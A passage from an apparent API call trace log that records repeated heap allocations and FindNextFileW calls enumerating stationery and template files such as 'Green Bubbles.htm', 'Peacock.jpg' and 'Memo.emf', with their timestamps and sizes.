Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e86e0 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0670 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8700 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0778 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8720 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e66e0 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8740 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6c08 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x600) returned 0x9eac78 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0978) returned 1 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8760 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e6d10 [0054.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.780] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0054.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8780 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e87a0 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e87c0 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.781] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0054.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e87e0 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0990 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8800 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0a98 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8820 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0ba0 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.782] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.782] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8840 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0ca8 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8860 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0db0 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8880 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0eb8 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e88a0 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0fc0 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e88c0 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f10c8 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e88e0 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f11d0 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8900 [0054.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f12d8 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8920 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f13e0 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8940 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f14e8 [0054.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x640) returned 0x9f2978 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eac78) returned 1 [0054.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.785] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, 